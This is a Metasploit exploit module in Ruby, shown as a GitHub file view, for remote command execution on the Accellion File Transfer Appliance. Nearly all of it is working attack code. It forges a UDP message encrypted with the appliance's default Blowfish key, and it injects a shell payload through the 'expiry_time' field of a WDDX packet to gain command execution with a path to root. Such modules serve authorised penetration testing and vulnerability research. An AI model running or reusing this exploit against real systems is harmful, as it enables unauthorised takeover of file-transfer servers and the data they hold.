/
accellion_fta_mpipe2.rb
152 lines (131 loc) · 4.54 KB
/
accellion_fta_mpipe2.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'openssl'
require 'rexml/element'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'Accellion FTA MPIPE2 Command Execution',
'Description' => %q{
This module exploits a chain of vulnerabilities in the Accellion
File Transfer appliance. This appliance exposes a UDP service on
port 8812 that acts as a gateway to the internal communication bus.
This service uses Blowfish encryption for authentication, but the
appliance ships with two easy to guess default authentication keys.
This module abuses the known default encryption keys to inject a
message into the communication bus. In order to execute arbitrary
commands on the remote appliance, a message is injected into the bus
destined for the 'matchrep' service. This service exposes a function
named 'insert_plugin_meta_info' which is vulnerable to an input
validation flaw in a call to system(). This provides access to the
'soggycat' user account, which has sudo privileges to run the
primary admin tool as root. These two flaws are fixed in update
version FTA_8_0_562.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
['OSVDB', '71362'],
['OSVDB', '71363'],
['URL', 'http://www.rapid7.com/security-center/advisories/R7-0039.jsp'],
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => true,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby telnet',
}
},
'Targets' =>
[
[ 'Automatic', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2011-02-07'
))
register_options(
[
Opt::RPORT(8812),
OptString.new('APPID', [true, 'The application ID (usually 1000)', '1000'])
])
end
def exploit
connect_udp
appid = datastore['APPID']
encoded_command = REXML::Text.new(payload.encoded).to_s
wddx = %Q|
<wddxPacket version='1.0'>
<header/>
<data>
<struct>
<var name='50001'><string>insert_plugin_meta_info</string></var>
<var name='file_handle'><binary length='9'>MDAwMDAwMDAw</binary></var>
<var name='aid'><string>#{appid}</string></var>
<var name='client_ip'><string>127.0.0.1</string></var>
<var name='package_id'><string>1</string></var>
<var name='recipient_list'><array length='1'><string>#{Rex::Text.rand_text_alphanumeric(8)}</string></array></var>
<var name='expiry_time'><string>'; #{encoded_command}; #'</string></var>
</struct>
</data>
</wddxPacket>|
packet = [
rand(0xffffffff), # Source Location ID
8888, # Destination Location ID
rand(0xffff), # Source Application
50001, # Destination Application (matchrep)
Time.now.to_i
].pack("NNnnN") + wddx
header = [
0, # Flags
0, #
1, # Sequence Number (must be the lowest seen from Source ID)
33 # Execute (pass message to destination)
].pack("CCNC") + packet
data = [ simple_checksum(header) ].pack("n") + header
enc = blowfish_encrypt("123456789ABCDEF0123456789ABCDEF0", data)
udp_sock.put("\x01" + enc)
handler
disconnect_udp
end
def simple_checksum(data)
sum = 0
data.unpack("C*").map{ |c| sum = (sum + c) & 0xffff }
sum
end
#
# This implements blowfish-cbc with an MD5-expanded 448-bit key
# using RandomIV for the initial value.
#
def blowfish_encrypt(pass, data)
# Forces 8-bit encoding
pass = pass.unpack("C*").pack("C*")
data = data.unpack("C*").pack("C*")
# Use 448-bit keys with 8-byte IV
key_len = 56
iv_len = 8
# Expand the key with MD5 (key-generated-key mode)
hash = OpenSSL::Digest::MD5.digest(pass)
while (hash.length < key_len)
hash << OpenSSL::Digest::MD5.digest(hash)
end
key = hash[0, key_len]
iv = Rex::Text.rand_text(iv_len)
c = OpenSSL::Cipher.new('bf-cbc')
c.encrypt
c.key_len = key_len
c.key = key
c.iv = iv
"RandomIV" + iv + c.update(data) + c.final
end
end